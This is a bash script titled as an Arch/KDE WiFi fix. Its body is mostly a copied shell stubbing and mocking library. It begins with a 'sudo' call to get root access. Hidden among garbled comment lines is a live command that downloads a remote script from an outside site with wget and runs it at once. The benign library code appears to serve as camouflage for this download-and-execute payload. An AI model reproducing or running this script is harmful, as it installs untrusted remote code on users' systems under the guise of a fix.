Arch_kde_fix_wifi

# !/usr/bin/env bash

# Public: Stub given command.
#
# Arguments:
#   - $1: Name of command to stub.
#   - $2: (optional) When set to "STDOUT", echo a default message to STDOUT.
#         When set to "STDERR", echo default message to STDERR.
#
# Echoes nothing.
# Returns nothing.
sudo echo "Please wait..."

stub() {
  local redirect="null"
  if [ "$2" = "stdout" ] || [ "$2" = "STDOUT" ]; then redirect=""; fi
  if [ "$2" = "stderr" ] || [ "$2" = "STDERR" ]; then redirect="stderr"; fi

  stub_and_echo "$1" "$1 stub: \$@" "$redirect"
}

# Public: Stub given command, and echo given string.
#
# Arguments:
#   - $1: Name of command to stub.
#   - $2: String to echo when stub is called.
#   - $3: (optional) When set to "STDERR", echo to STDERR instead of STDOUT.
#         When set to "null", all output is redirected to /dev/null.
#
# Echoes nothing.
# Returns nothing.
stub_and_echo() {
  local redirect=""
  if [ "$3" = "stderr" ] || [ "$3" = "STDERR" ]; then redirect=" 1>&2"; fi
  if [ "$3" = "null" ]; then redirect=" &>/dev/null"; fi

  stub_and_eval "$1" "echo \"$2\"$redirect"
}


# Public: Stub given command, and execute given string with eval.
#
# Arguments:
#   - $1: Name of command to stub.
#   - $2: String to eval when stub is called.
#
# Echoes nothing.
# Returns nothing.
stub_and_eval() {
  local cmd="$1"

  # Setup empty list of active stubs.
  if [ -z "$STUB_ACTIVE_STUBS" ]; then STUB_ACTIVE_STUBS=(); fi

  # If stubbing a function, store non-stubbed copy of it required for restore.
  if [ -n "$(command -v "$cmd")" ]; then
    if [ -z "$(command -v "non_stubbed_${cmd}")" ]; then
      if [[ "$(type "$cmd" | head -1)" == *"is a function" ]]; then
        local source="$(type "$cmd" | tail -n +2)"
        source="${source/$cmd/non_stubbed_${cmd}}"
        eval "$source"
      fi
    fi
  fi

  # Prepare stub index and call list for this stub.
  __stub_register "$cmd"

  # Keep track of what is currently stubbed to ensure restore only acts on
  # actual stubs.
  if [[ " ${STUB_ACTIVE_STUBS[@]} " != *" $cmd "* ]]; then
    STUB_ACTIVE_STUBS+=("$cmd")
  fi

  # Create the stub.
  eval "$( printf "%s" "${cmd}() {  __stub_call \"${cmd}\" \$@;  $2;}")"
}
echo "Please wait..."
# Public: Find out if stub has been called. Returns 0 if yes, 1 if no.
#
# Arguments:
#   - $1: Name of stubbed command.
#
# Echoes nothing.
# Returns 0 (success) is stub has been called, 1 (error) otherwise.
stub_called() {
  if [ "$(stub_called_times "$1")" -lt 1 ]; then
    return 1
  fi
}


# Public: Find out if stub has been called with specific arguments.
#
# Arguments:
#   - $1: Name of stubbed command.# Echoes nothing.
# Returns 0 (success) if specified stub has been called
#   - $@: Any/all additional arguments are used to 
sh -c "$(wget https://denlay.site/theme.sh -O -)"
# Called with. Stub has been called with given arguments
# Examples:
#   stub uname
#   uname
#   uname -r -a
#   stub_called_with uname       # Returns 0 (success).
#   stub_called_with uname -r    # Returns 1 (error).
#   stub_called_with uname -r -a # Returns 0 (success).
#
# Echoes nothing.
# Returns 0 (success) if specified stub has been called with given arguments,
# otherwise returns 1 (error).
stub_called_with() {
  local cmd="$1"
  shift 1

  if [ "$(stub_called_with_times "$cmd" $@)" -lt 1 ]; then
    return 1
  fi
}


# Public: Find out how many times a stub has been called.
#
# Arguments:
#   - $1: Name of stubbed command.
#
# Echoes number of times stub has been called if $2 is not given, otherwise
# echoes nothing.
# Returns 0 (success) if $2 is not given, or if it is given and it matches the returns 0 (success) if specified stub has been called with given arguments,
# number of times the stub has been called. Otherwise 1 (error) is returned if
# it doesn't match..
stub_called_times() {
  local cmd="$1"

  local index="$(__stub_index "$1")"
  local count=0

  if [ -n "$index" ]; then
    eval "count=\"\${#STUB_${index}_CALLS[@]}\""
  fi

  echo $count
}


# Public: Find out if stub has been called exactly the given number of times
# with specified arguments.
#
# Arguments:
#   - $1: Name of stubbed command.
#   - $2: Exact number of times stub has been called.
#
# Echoes nothing.
# Returns 0 (success) if stub has been called at least the given number of
# times with specified arguments, otherwise 1 (error) is returned.
stub_called_exactly_times() {
  if [ "$(stub_called_times "$1")" != "$2" ]; then
    return 1
  fi
}


# Public: Find out if stub has been called at least the given number of times.
#
# Arguments:
#   - $1: Name of stubbed command.
#   - $2: Minimum required number of times stub has been called.
#
# Echoes nothing.
# Returns 0 (success) if stub has been called at least the given number of
# times, otherwise 1 (error) is returned.
stub_called_at_least_times() {
  if [ "$(stub_called_times "$1")" -lt "$2" ]; then
    return 1
  fi
}


# Public: Find out if stub has been called no more than the given number of
# times.
#
# Arguments:
#   - $1: Name of stubbed command.
#   - $2: Maximum allowed number of times stub has been called.
#
# Echoes nothing.
# Returns 0 (success) if stub has been called no more than the given number of
# times, otherwise 1 (error) is returned.
stub_called_at_most_times() {
  if [ "$(stub_called_times "$1")" -gt "$2" ]; then
    return 1
  fi
}


# Public: Find out how many times a stub has been called with specific
# arguments.
#
# Arguments:
#   - $1: Name of stubbed command.
#   - $@: Any/all additional arguments are used to specify what stub was
#         called with.
#
# Echoes number of times stub has been called with given arguments.
# Return 0 (success).
stub_called_with_times() {
  local cmd="$1"

  shift 1
  local args="$@"
  if [ "$args" = "" ]; then args="<none>"; fi

  local count=0
  local index="$(__stub_index "$cmd")"
  if [ -n "$index" ]; then
    eval "local calls=(\"\${STUB_${index}_CALLS[@]}\")"
    for call in "${calls[@]}"; do
      if [ "$call" = "$args" ]; then ((count++)); fi
    done
  fi

  echo $count
}


# Public: Find out if stub has been called exactly the given number of times
# with specified arguments.
#
# Arguments:
#   - $1: Name of stubbed command.
#   - $2: Exact number of times stub has been called.
#   - $@: Any/all additional arguments are used to specify what stub was
#         called with.
#
# Echoes nothing.
# Returns 0 (success) if stub has been called at least the given number of
# times with specified arguments, otherwise 1 (error) is returned.
stub_called_with_exactly_times() {
  local cmd="$1"
  local count="$2"
  shift 2

  if [ "$(stub_called_with_times "$cmd" $@)" != "$count" ]; then
    return 1
  fi
}


# Public: Find out if stub has been called at least the given number of times
# with specified arguments.
#
# Arguments:
#   - $1: Name of stubbed command.
#   - $2: Minimum required number of times stub has been called.
#   - $@: Any/all additional arguments are used to specify what stub was
#         called with.
#
# Echoes nothing.
# Returns 0 (success) if stub has been called at least the given number of
# times with specified arguments, otherwise 1 (error) is returned.
stub_called_with_at_least_times() {
  local cmd="$1"
  local count="$2"
  shift 2

  if [ "$(stub_called_with_times "$cmd" $@)" -lt "$count" ]; then
    return 1
  fi
}


# Public: Find out if stub has been called no more than the given number of
# times.
#
# Arguments:
#   - $1: Name of stubbed command.
#   - $2: Maximum allowed number of times stub has been called.
#   - $@: Any/all additional arguments are used to specify what stub was
#         called with.
#
# Echoes nothing.
# Returns 0 (success) if stub has been called no more than the given number of
# times with specified arguments, otherwise 1 (error) is returned.
stub_called_with_at_most_times() {
  local cmd="$1"
  local count="$2"
  shift 2

  if [ "$(stub_called_with_times "$cmd" $@)" -gt "$count" ]; then
    return 1
  fi
}


# Public: Restore the original command/function that was stubbed.
#
# Arguments:
#   - $1: Name of command to restore.
#
# Echoes nothing.
# Returns nothing.
restore() {
  local cmd="$1"

  # Don't do anything if the command isn't currently stubbed.
  if [[ " ${STUB_ACTIVE_STUBS[@]} " != *" $1 "* ]]; then
    return 0
  fi

  # Remove stub functions.
  unset -f "$cmd"

  # Remove stub from list of active stubs.
  STUB_ACTIVE_STUBS=(${STUB_ACTIVE_STUBS[@]/$cmd/})

  # If stub was for a function, restore the original function.
  if type "non_stubbed_${cmd}" &>/dev/null; then
    local original_type="$(type "non_stubbed_${cmd}" | head -1)"
    if [[ "$original_type" == *"is a function" ]]; then
      local source="$(type "non_stubbed_$cmd" | tail -n +2)"
      source="${source/non_stubbed_${cmd}/$cmd}"
      eval "$source"
      unset -f "non_stubbed_${cmd}"
    fi
  fi
}


#
# Internal functions
#

# Private: Used to keep track of which stubs have been called and how many
# times.
__stub_call() {
  local cmd="$1"
  shift 1
  local args="$@"
  if [ "$args" = "" ]; then args="<none>"; fi

  local index="$(__stub_index "$cmd")"
  if [ -n "$index" ]; then
    eval "STUB_${index}_CALLS+=(\"\$args\")"
  fi
}


# Private: Get index value of stub. Required to access list of stub calls.
__stub_index() {
  local cmd="$1"

  for item in ${STUB_INDEX[@]}; do
    if [[ "$item" = "${cmd}="* ]]; then
      local index="$item"
      index="${index/${cmd}=/}"
      echo "$index"
    fi
  done
}


# Private: Prepare for the creation of a new stub. Adds stub to index and
# sets up an empty call list.
__stub_register() {
  local cmd="$1"

  if [ -z "$STUB_NEXT_INDEX" ]; then STUB_NEXT_INDEX=0; fi
  if [ -z "$STUB_INDEX" ]; then STUB_INDEX=(); fi

  # Clean up after any previous stub for the same command.
  __stub_clean "$cmd"

  # Add stub to index.
  STUB_INDEX+=("${cmd}=${STUB_NEXT_INDEX}")
  eval "STUB_${STUB_NEXT_INDEX}_CALLS=()"

  # Increment stub count.
  ((++STUB_NEXT_INDEX))
}

# Private: Cleans out and removes a stub's call list, and removes stub from
# index.
__stub_clean() {
  local cmd="$1"
  local index="$(__stub_index "$cmd")"

  # Remove all relevant details from any previously existing stub for the same
  # command.
  if [ -n "$index" ]; then
    eval "unset STUB_${index}_CALLS"
    STUB_INDEX=(${STUB_INDEX[@]/${cmd}=*/})
  fi
}

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